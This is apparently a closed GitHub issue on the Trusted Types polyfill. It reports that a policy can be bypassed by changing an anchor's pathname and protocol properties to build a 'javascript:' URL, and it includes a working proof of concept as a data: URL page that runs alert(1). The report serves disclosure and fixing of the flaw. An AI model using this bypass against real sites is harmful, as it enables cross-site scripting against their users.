-
Notifications
You must be signed in to change notification settings - Fork 82
Closed
Description
Found by @sirdarckcat:
It's still possible to execute the JS bypassing the policy by directly manipulating the HTMLAnchorElement
properties like protocol, pathname etc.
a.href = TrustedTypes.createPolicy('foo', (p) => {
p.createURL = (d) => d // actually sanitize here, but that's not relevant for the bypass.
}).createURL('http://notevil.com');
a.pathname='\nalert(1)';
a.protocol='javascript:';
a.click();
Full setup:
data:text/html,<meta http-equiv="Content-Security-Policy" value="trusted-types *"> <script src="https://wicg.github.io/trusted-types/dist/es6/trustedtypes.build.js"></script><a id=a>clickme</a><script>a.href = TrustedTypes.createPolicy(Math.random(), (p) => {p.createURL = (d) => d}).createURL('http://notevil.com');a.pathname='\nalert(1)';a.protocol='javascript:';a.click()</script>
Given that this can be abused by multiple properties, and each property requires only a part of the URL, it's not clear how the fix might look like, short of disabling the APIs, or just disallowing changing a.protocol (to javascript:
or totally).
https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement mentions that these properties are experimental.